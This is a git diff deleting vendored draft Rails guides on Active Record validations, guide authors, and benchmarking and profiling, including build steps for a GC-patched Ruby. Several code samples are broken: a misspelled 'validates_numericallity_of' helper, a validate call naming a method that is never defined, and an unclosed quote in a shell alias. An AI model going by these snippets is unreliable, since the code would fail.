-This helper has an alias called +validates_size_of+, it's the same helper with a different name. You can use it if you'd like to.
-
-=== The +validates_numericallity_of+ helper
-
-This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the +:integer_only+ option set to true, you can specify that only integral numbers are allowed.
-
-If you use +:integer_only+ set to +true+, then it will use the +$$/\A[+\-]?\d+\Z/$$+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value using +Kernel.Float+.
-
-[source, ruby]
-------------------------------------------------------------------
-class Player < ActiveRecord::Base
-  validates_numericallity_of :points
-  validates_numericallity_of :games_played, :integer_only => true
-end
-------------------------------------------------------------------
-
-The default error message for +validates_numericallity_of+ is "_is not a number_".
-
-=== The +validates_presence_of+ helper
-
-This helper validates that the attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty). 
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_presence_of :name, :login, :email
-end
-------------------------------------------------------------------
-
-NOTE: If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself.
-
-[source, ruby]
-------------------------------------------------------------------
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-  validates_presence_of :order_id
-end
-------------------------------------------------------------------
-
-NOTE: If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true 
-
-The default error message for +validates_presence_of+ is "_can't be empty_".
-
-=== The +validates_uniqueness_of+ helper
-
-This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database.
-
-[source, ruby]
-------------------------------------------------------------------
-class Account < ActiveRecord::Base
-  validates_uniqueness_of :email
-end
-------------------------------------------------------------------
-
-The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.
-
-There is a +:scope+ option that you can use to specify other attributes that must be used to define uniqueness:
-
-[source, ruby]
-------------------------------------------------------------------
-class Holiday < ActiveRecord::Base
-  validates_uniqueness_of :name, :scope => :year, :message => "Should happen once per year"
-end
-------------------------------------------------------------------
-
-There is also a +:case_sensitive+ option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_uniqueness_of :name, :case_sensitive => false
-end
-------------------------------------------------------------------
-
-The default error message for +validates_uniqueness_of+ is "_has already been taken_".
-
-== Common validation options
-
-There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which we'll cover right at the next topic.
-
-=== The +:allow_nil+ option
-
-You may use the +:allow_nil+ option everytime you just want to trigger a validation if the value being validated is not +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+.
-
-[source, ruby]
-------------------------------------------------------------------
-class Coffee < ActiveRecord::Base
-  validates_inclusion_of :size, :in => %w(small medium large), 
-    :message => "%s is not a valid size", :allow_nil => true
-end
-------------------------------------------------------------------
-
-=== The +:message+ option
-
-As stated before, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
-
-=== The +:on+ option
-
-As stated before, the +:on+ option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on =$$>$$ :create+ to run the validation only when a new record is created or +:on =$$>$$ :update+ to run the validation only when a record is updated.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_uniqueness_of :email, :on => :create # => it will be possible to update email with a duplicated value
-  validates_numericallity_of :age, :on => :update # => it will be possible to create the record with a 'non-numerical age'
-  validates_presence_of :name, :on => :save # => that's the default
-end
-------------------------------------------------------------------
-
-== Conditional validation
-
-Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
-
-=== Using a symbol with the +:if+ and +:unless+ options
-
-You can associated the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
-
-[source, ruby]
-------------------------------------------------------------------
-class Order < ActiveRecord::Base
-  validates_presence_of :card_number, :if => :paid_with_card?
-  
-  def paid_with_card?
-    payment_type == "card"
-  end
-end
-------------------------------------------------------------------
-
-=== Using a string with the +:if+ and +:unless+ options
-
-You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
-
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_presence_of :surname, :if => "name.nil?"
-end
-------------------------------------------------------------------
-
-=== Using a Proc object with the +:if+ and :+unless+ options
-
-Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.
-
-[source, ruby]
-------------------------------------------------------------------
-class Account < ActiveRecord::Base
-  validates_confirmation_of :password, :unless => Proc.new { |a| a.password.blank? }
-end
-------------------------------------------------------------------
-
-== Writing your own validation methods
-
-When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the +validate+, +validate_on_create+ or +validate_on_update+ methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's +errors+ collection.
-
-[source, ruby]
-------------------------------------------------------------------
-class Invoice < ActiveRecord::Base
-  def validate_on_create    
-    errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today
-  end
-end
-------------------------------------------------------------------
-
-If your validation rules are too complicated and you want to break it in small methods, you can implement all of them and call one of +validate+, +validate_on_create+ or +validate_on_update+ methods, passing it the symbols for the methods' names.
-
-[source, ruby]
-------------------------------------------------------------------
-class Invoice < ActiveRecord::Base
-  validate :expiration_date_cannot_be_in_the_past, :discount_cannot_be_more_than_total_value
-
-  def expiration_date_cannot_be_in_the_past
-    errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today
-  end  
-  
-  def discount_cannot_be_greater_than_total_value
-    errors.add(:discount, "can't be greater than total value") unless discount <= total_value
-  end
-end
-------------------------------------------------------------------
-
-== Changelog
-
-http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks
diff --git a/vendor/rails/railties/doc/guides/source/authors.txt b/vendor/rails/railties/doc/guides/source/authors.txt
deleted file mode 100644
index 94dfc4db..00000000
--- a/vendor/rails/railties/doc/guides/source/authors.txt
+++ /dev/null
@@ -1,39 +0,0 @@
-About the Authors
-=================
-
-.Frederick Cheung
-[[fcheung]]
-***********************************************************
-Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
-He is based in Cambridge (UK) and when not consuming fine ales he blogs at http://www.spacevatican.org[spacevatican.org].
-***********************************************************
-
-.Mike Gunderloy
-[[mgunderloy]]
-***********************************************************
-Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
-work with Rails. His near-daily links and other blogging can be found at http://afreshcup.com[A Fresh Cup].
-***********************************************************
-
-.Emilio Tagua
-[[miloops]]
-***********************************************************
-Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
-Cofounder of http://www.eventioz.com[Eventioz]. He has been using Rails since 2006 and contributing since early 2008.
-Can be found at gmail, twitter, freenode, everywhere as miloops.
-***********************************************************
-
-.Heiko Webers
-[[hawe]]
-***********************************************************
-Heiko Webers is the founder of http://www.bauland42.de[bauland42], a German web application security consulting and development
-company focused on Ruby on Rails. He blogs at http://www.rorsecurity.info. After 10 years of desktop application development,
-Heiko has rarely looked back.
-***********************************************************
-
-.Tore Darell
-[[toretore]]
-***********************************************************
-Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails
-and unobtrusive JavaScript. His home on the internet is his blog http://tore.darell.no/[Sneaky Abstractions].
-***********************************************************
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt
deleted file mode 100644
index 8e2e383f..00000000
--- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt
+++ /dev/null
@@ -1,95 +0,0 @@
-== Other Profiling Tools ==
-
-There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them. 
-
-=== httperf ===
-http://www.hpl.hp.com/research/linux/httperf/[http://www.hpl.hp.com/research/linux/httperf/]
-
-A necessary tool in your arsenal. Very useful for load testing your website.
-
-#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble. 
-
-
-=== Rails Analyzer ===
-
-The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools. 
-
-* The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action.
-
-* The Action Profiler similar to Ruby-Prof profiler.
-
-* rails_stat which gives a live counter of requests per second of a running Rails app.
-
-* The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application.
-
-Their project homepage can be found at http://rails-analyzer.rubyforge.org/[http://rails-analyzer.rubyforge.org/]
-
-The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger. 
-
-
-==== SyslogLogger ====
-
-SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines.
-
-More information can be found out at http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html[http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html]
-
-If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach
-
-==== A Hodel 3000 Compliant Logger for the Rest of Us ====
-
-Directions taken from 
-http://topfunky.net/svn/plugins/hodel_3000_compliant_logger/lib/hodel_3000_compliant_logger.rb[link to module file]
-
-Just put the module in your lib directory and  add this to your environment.rb in it's config portion. 
-
-------------------------------------------------------------
-require 'hodel_3000_compliant_logger'
-config.logger = Hodel3000CompliantLogger.new(config.log_path)
--------------------------------------------------------------
-
-It's that simple. Your log output on restart should look like this. 
-
-.Hodel 3000 Example
-----------------------------------------------------------------------------
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-Parameters: {"action"=>"shipping", "controller"=>"checkout"}
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mBook Columns (0.003155)   SHOW FIELDS FROM `books`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mBook Load (0.000881)   SELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1)) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mShippingAddress Columns (0.002683)   SHOW FIELDS FROM `shipping_addresses`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mBook Load (0.000362)   SELECT ounces FROM `books` WHERE (`books`.`id` = 1) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-Rendering template within layouts/application
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-Rendering checkout/shipping
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;36;1mBook Load (0.000548)   SELECT * FROM `books` 
-WHERE (sold = 0) LIMIT 3
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-[4;35;1mAuthor Columns (0.002571)   SHOW FIELDS FROM `authors`
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-Author Load (0.000811)   SELECT * FROM `authors` WHERE (`authors`.`id` = 1) 
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-Rendered store/_new_books (0.01358)
-Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
-Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping]
-----------------------------------------------------------------------------
-
-=== Palmist === 
-An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000 
-http://www.flyingmachinestudios.com/projects/[http://www.flyingmachinestudios.com/projects/]
-
-=== New Relic === 
-http://www.newrelic.com/[http://www.newrelic.com/]
-
-Pretty nifty performance tools, pricey though. They do have a basic free
-service both for when in development and when you put your application into production. Very simple installation and signup.
-
-#TODO more in-depth without being like an advertisement. 
-
-==== Manage ====
-
-Like new relic a production monitoring tool. 
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt
deleted file mode 100644
index fe22fba0..00000000
--- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt
+++ /dev/null
@@ -1,105 +0,0 @@
-== Real Life Example ==
-=== The setup ===
-
-So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark. 
-
-
-[source, ruby]
-----------------------------------------------------------------------------
-class HomepageTest < ActionController::PerformanceTest
-  # Replace this with your real tests.
-  def test_homepage
-    get '/'
-  end
-end
-----------------------------------------------------------------------------
-
-.Output
-----------------------------------------------------------------------------
-HomepageTest#test_homepage (115 ms warmup)
-        process_time: 591 ms
-        memory: 3052.90 KB
-        objects: 59471
-----------------------------------------------------------------------------
-
-
-
-Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test. 
-
-.Default
-----------------------------------------------------------------------------
-HomepageTest#test_homepage (19 ms warmup)
-        process_time: 26 ms
-              memory: 298.79 KB
-             objects: 1917
-----------------------------------------------------------------------------
-
-that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us. 
-
-.Process time
-----------------------------------------------------------------------------
-20.73      0.39     0.12     0.00     0.27      420  Pathname#cleanpath_aggressive
-17.07      0.14     0.10     0.00     0.04     3186  Pathname#chop_basename
- 6.47      0.06     0.04     0.00     0.02     6571  Kernel#===
- 5.04      0.06     0.03     0.00     0.03      840  Pathname#initialize
- 5.03      0.05     0.03     0.00     0.02        4  ERB::Compiler::ExplicitScanner#scan
- 4.51      0.03     0.03     0.00     0.00     9504  String#==
- 2.94      0.46     0.02     0.00     0.44     1393  String#gsub
- 2.66      0.09     0.02     0.00     0.07      480  Array#each
- 2.46      0.01     0.01     0.00     0.00     3606  Regexp#to_s
-----------------------------------------------------------------------------
-
-Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and  Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. *If we can get rid of or shorten these processes we can make our pages run much quicker*. 
-
-Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information. 
-
-.Objects Created
-----------------------------------------------------------------------------
-20.74  34800.00 12324.00     0.00 22476.00      420  Pathname#cleanpath_aggressive
-16.79  18696.00  9978.00     0.00  8718.00     3186  Pathname#chop_basename
-11.47  13197.00  6813.00     0.00  6384.00      480  Array#each
- 8.51  41964.00  5059.00     0.00 36905.00     1386  String#gsub
- 6.07   3606.00  3606.00     0.00     0.00     3606  Regexp#to_s
-----------------------------------------------------------------------------
-
-nope nothing new here. Lets look at memory usage
-
-.Memory Consuption
-----------------------------------------------------------------------------
- 40.17   1706.80  1223.70     0.00   483.10     3186  Pathname#chop_basename
- 14.92    454.47   454.47     0.00     0.00     3606  Regexp#to_s
-  7.09   2381.36   215.99     0.00  2165.37     1386  String#gsub
-  5.08    231.19   154.73     0.00    76.46      420  Pathname#prepend_prefix
-  2.34     71.35    71.35     0.00     0.00     1265  String#initialize_copy
-----------------------------------------------------------------------------
-
-Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top. 
-
-
-[source, html]
-----------------------------------------------------------------------------
-<%if request.env["HTTP_USER_AGENT"].match(/Opera/)%>
-<%= stylesheet_link_tag "opera" %>
-<% end %>
-----------------------------------------------------------------------------
-
-That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that. 
-
-
-[source, html]
-----------------------------------------------------------------------------
-<%if request.env["HTTP_USER_AGENT"] =~ /Opera/%>
-<%= stylesheet_link_tag "opera" %>
-<% end %>
-----------------------------------------------------------------------------
-
-I'll now try my test again. 
-
-----------------------------------------------------------------------------
-process_time: 75 ms
-              memory: 519.95 KB
-             objects: 6537
-----------------------------------------------------------------------------
-
-Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill. 
-
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt
deleted file mode 100644
index 765a1e21..00000000
--- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt
+++ /dev/null
@@ -1,185 +0,0 @@
-== Performance Testing Built into Rails ==
-
-As of June 20, 2008 edge rails has had a new type of Unit test geared towards profiling. Of course like most great things, getting it working takes  bit of work. The test relies on statistics gathered from the Garbage Collection that isn't readily available from standard compiled ruby. There is a patch located at http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch]
-
-Also the test requires a new version of Ruby-Prof version of 0.6.1. It is not readily available at the moment and can most easily be found as a tarball on github. It's repository is located at git://github.com/jeremy/ruby-prof.git.
-
-What follows is a description of how to set up an alternative ruby install to use these features
-
-=== Compiling the Interpreter ===
-
-
-[source, shell]
-----------------------------------------------------------------------------
-[User ~]$ mkdir rubygc
-[User ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz
-[User ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz
-[User ~]$ cd ruby-1.8.6-p111
-[User ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
-
-#I like putting my alternative ruby builds in an opt directory, set the prefix to where ever you feel is most comfortable.
-
-[User ruby-1.8.6-p111]$ ./configure --prefix=/opt/rubygc
-[User ruby-1.8.6-p111]$ sudo make && make install
-----------------------------------------------------------------------------
-
-Add the following lines in your \~/.profile or \~/.bash\_login for convenience.
-
-----------------------------------------------------------------------------
-alias gcruby='/opt/rubygc/rubygc/bin/ruby'
-alias gcrake='/opt/rubygc/rubygc/bin/rake'
-alias gcgem='/opt/rubygc/rubygc/bin/gem'
-alias gcirb=/opt/rubygc/rubygc/bin/irb'
-alias gcrails='/opt/rubygc/rubygc/bin/rails'
-----------------------------------------------------------------------------
-
-=== Installing RubyGems ===
-
-Next we need to install rubygems and rails so that we can use the interpreter properly. 
-
-
-[source, shell]
-----------------------------------------------------------------------------
-[User ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
-[User ~]$ tar -xzvf rubygems-1.2.0.tgz 
-[User ~]$ cd rubygems-1.2.0
-[User rubygems-1.2.0]$ gcruby setup.rb
-[User rubygems-1.2.0]$ cd ~
-[User ~]$ gcgem install rake
-[User ~]$ gcgem install mysql
-[User ~]$ gcgem install rails
-----------------------------------------------------------------------------
-
-If installing mysql gem fails ( like it did for me ), you will have to manually install it :
-
-[source, shell]
-----------------------------------------------------------------------------
-[User ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
-[User mysql-2.7]$ gcruby extconf.rb --with-mysql-config
-[User mysql-2.7]$ make && make install
-----------------------------------------------------------------------------
-
-=== Installing Jeremy Kemper's ruby-prof ===
-
-We are in the home stretch. All we need now is ruby-proff 0.6.1
-
-
-[source, shell]
-----------------------------------------------------------------------------
-[User ~]$ git clone git://github.com/jeremy/ruby-prof.git
-[User ~]$ cd ruby-prof/
-[User ruby-prof (master)]$ gcrake gem
-[User ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem
-----------------------------------------------------------------------------
-
-Finished, go get yourself a power drink!
-
-=== Ok so I lied, a few more things we need to do ===
-
-You have everything we need to start profiling through rails Unit Testing. Unfortunately we are still missing a few files. I'm going to do the next step on a fresh Rails app, but it will work just as well on developmental 2.1 rails application. 
-
-==== The Rails App ====
-
-First I need to generate a rail app
-
-[source, shell]
-----------------------------------------------------------------------------
-[User ~]$ gcrails profiling_tester -d mysql
-[User ~]$ cd profiling_tester
-[User profiling_tester]$ script/generate scaffold item name:string
-[User profiling_tester]$ gcrake db:create:all
-[User profiling_tester]$ gcrake db:migrate
-[User profiling_tester (master)]$ rm public/index.html
-----------------------------------------------------------------------------
-
-Now I'm going to init it as a git repository and add edge rails as a submodule to it. 
-
-[source, shell]
-----------------------------------------------------------------------------
-[User profiling_tester]$ git init
-[User profiling_tester (master)]$ git submodule add git://github.com/rails/rails.git vendor/rails
-----------------------------------------------------------------------------
-
-Finally we want to  change config.cache_classes to true in our environment.rb
-
-----------------------------------------------------------------------------
-config.cache_classes = true
-----------------------------------------------------------------------------
-
-If we don't cache classes, then the time Rails spends reloading and compiling our models and controllers will confound our results.  Obviously we will try to make our test setup as similar as possible to our production environment.
-
-=== Generating and Fixing the tests ===
-
-Ok next we need to generate the test script. 
-
-[source, shell]
-----------------------------------------------------------------------------
-[User profiling_tester (master)]$ script/generate performance_test homepage
-----------------------------------------------------------------------------
-
-This will generate _test/performance/homepage_test.rb_ for you. However, as I have generated the project using Rails 2.1 gem, we'll need to manually generate one more file before we can go ahead.
-
-We need to put the following inside _test/performance/test_helper.rb
-
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'test_helper'
-require 'performance_test_help'
-----------------------------------------------------------------------------
-
-Though this depends where you run your tests from and your system config. I myself run my tests from the Application root directory 
-
-so instead of 
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'test_helper'
-
-#I have
-
-require 'test/test_helper'
-----------------------------------------------------------------------------
-
-Also I needed to change homepage_test.rb to reflect this also
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'test/performance/test_helper.rb'
-----------------------------------------------------------------------------
-
-=== Testing ===
-
-#TODO is there some way to compare multiple request at once like ruby_analyze
-
-Now, if we look at the generated performance test ( one we generated using _script/generate performance_test_ ), it'll look something like :
-
-[source, ruby]
-----------------------------------------------------------------------------
-.require 'performance/test_helper'
-
-class HomepageTest < ActionController::PerformanceTest
-  # Replace this with your real tests.
-  def test_homepage
-    get '/'
-  end
-end
-----------------------------------------------------------------------------
-
-
-The format looks very similar to that of an integration test. And guess what, that's what it is. But that doesn't stop you from testing your Model methods. You could very well write something like :
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'performance/test_helper'
-
-class UserModelTest < ActionController::PerformanceTest
-  # Replace this with your real tests.
-  def test_slow_find
-    User.this_takes_shlong_to_run
-  end
-end
-----------------------------------------------------------------------------
-
-
-Which is very useful way to profile individual processes. 
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt
deleted file mode 100644
index 1f1d365e..00000000
--- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-== Get Yourself a Game Plan ==
-
-You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to -
-
-=== The Analysis Process ===
-
-I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method. 
-
-For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on.
-
-Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are. 
-
-* Develop a set of variables and processes to measure in order to answer this question!
-* Profile based on the question and variables. Key problems to avoid when designing this experiment are:
-	- Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes. 
-	- Cross Contamination: Make sure that runs from one test do not harm the other tests.
-	- Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements.
-	- Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error.
-	- Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. .
-* Do a small run of the experiment to verify the design.
-* Use the small run to determine a proper sample size.
-* Run the test.
-* Perform the analysis on the results and determine where to go from there.
-
-Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling.
-
-
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt
deleted file mode 100644
index ef45ff62..00000000
--- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt
+++ /dev/null
@@ -1,242 +0,0 @@
-Benchmarking and Profiling Rails
-================================
-
-This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to:
-
-* Understand the various types of benchmarking and profiling metrics
-* Generate performance/benchmarking tests
-* Use GC patched Ruby binary to measure memory usage and object allocation
-* Understand the information provided by Rails inside the log files
-* Learn about various tools facilitating benchmarking and profiling
-
-== Why Benchmark and Profile ?
-
-Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application.
-
-=== What is the difference between benchmarking and profiling ? ===
-
-Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code.
-
-== Using and understanding the log files ==
-
-Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like :
-
-[source, ruby]
-----------------------------------------------------------------------------
-Processing ItemsController#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET]
-  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA==--83cff4fe0a897074a65335
-  Parameters: {"action"=>"index", "controller"=>"items"}
-Rendering template within layouts/items
-Rendering items/index
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items]
-----------------------------------------------------------------------------
-
-For this section, we're only interested in the last line from that log entry:
-
-[source, ruby]
-----------------------------------------------------------------------------
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items]
-----------------------------------------------------------------------------
-
-This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
-
-== Helper methods ==
-
-Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called +benchmark()+ in all three components.
-
-[source, ruby]
-----------------------------------------------------------------------------
-Project.benchmark("Creating project") do
-  project = Project.create("name" => "stuff")
-  project.create_manager("name" => "David")
-  project.milestones << Milestone.find(:all)
-end
-----------------------------------------------------------------------------
-
-The above code benchmarks the multiple statments enclosed inside +Project.benchmark("Creating project") do..end+ block and prints the results inside log files. The statement inside log files will look like:
-
-[source, ruby]
-----------------------------------------------------------------------------
-Creating projectem (185.3ms)
-----------------------------------------------------------------------------
-
-Please refer to http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336[API docs] for optional options to +benchmark()+
-
-Similarly, you could use this helper method inside http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[controllers] ( Note that it's a class method here ):
-
-[source, ruby]
-----------------------------------------------------------------------------
-def process_projects
-  self.class.benchmark("Processing projects") do
-    Project.process(params[:project_ids])
-    Project.update_cached_projects
-  end
-end
-----------------------------------------------------------------------------
-
-and http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[views]:
-
-[source, ruby]
-----------------------------------------------------------------------------
-<% benchmark("Showing projects partial") do %>
-  <%= render :partial => @projects %>
-<% end %>
-----------------------------------------------------------------------------
-
-== Performance Test Cases ==
-
-Rails provides a very easy to write performance test cases, which look just like the regular integration tests.
-
-If you have a look at +test/performance/browsing_test.rb+ in a newly created Rails application:
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'test_helper'
-require 'performance_test_help'
-
-# Profiling results for each test method are written to tmp/performance.
-class BrowsingTest < ActionController::PerformanceTest
-  def test_homepage
-    get '/'
-  end
-end
-----------------------------------------------------------------------------
-
-This is an automatically generated example performance test file, for testing performance of homepage('/') of the application.
-
-=== Modes ===
-
-==== Benchmarking ====
-==== Profiling ====
-
-=== Metrics ===
-
-==== Process Time ====
-
-CPU Cycles.
-
-==== Memory ====
-
-Memory taken.
-
-==== Objects ====
-
-Objects allocated.
-
-==== GC Runs ====
-
-Number of times the Ruby GC was run.
-
-==== GC Time ====
-
-Time spent running the Ruby GC.
-
